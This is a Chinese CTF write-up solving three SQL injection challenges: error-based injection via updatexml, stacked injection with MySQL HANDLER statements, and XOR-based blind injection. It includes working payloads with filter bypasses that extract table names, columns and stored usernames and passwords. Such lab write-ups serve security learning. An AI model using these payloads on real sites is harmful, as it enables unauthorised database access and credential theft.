1.报错注入([极客大挑战 2019]HardSQL 1)
先尝试用万能密码发现不行
那就试试1’看看是什么情况
从他给我的信息’‘1'''可以看出是单引号闭合引用
再次尝试
发现有东西被过滤了大概就是空格被过滤了那就利用()绕过试试
发现可行的
经过各种尝试发现updatexml和extractvalue两个关键词没有被过滤
之后就开始构建数据库查询语句
1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
0x7e是~的16进制写法以此类推
表名
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
用户信息
1'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#
他给了一半的flag那还需要右边一半
再次构建右半
1'or(updatexml(1,concat(0x7e,(select(right(password,21))from(H4rDsq1)),0x7e),1))#
over
2.堆叠注入([GYCTF2020]Blacklist)
首先随便输入1看看回显
说明有两个字段大概可能就是id和内容
用一下万能密码
但是看这个没有看出来有flag的存在那就看看全部表
看到flag了
1';show columns from FlagHere #
查看flag内的字段信息
根据以下的知识
- 可以用handler 【表名】 open来打开某个表
- 然后就可以在里面用handler 【表名】 read 【获取第几行】来获取该数据库里面的数据了
- 最后再利用handler【表名】 close来关闭(具体可以查看这里:【MySQL】MySQL 之 handler 的详细使用及说明_mysql中handler_边扯边淡的博客-CSDN博客)
1';
handler FlagHere open;
handler FlagHere read first;
handler FlagHere close;
构造出payload
over
3.盲注([CISCN2019 华北赛区 Day2 Web1]Hack World)
根据题目给出的提示、
同样试试万能密码这一些还是没有用
通过bp抓包去找哪些没有被过滤
发现就^没有被过滤^符号又涉及到了异或绕过
利用这个构建payload
0^(if((ascii(substr((select(flag)from(flag)),0,1))<60),1,0))
利用工具写的二分法脚本
得到flag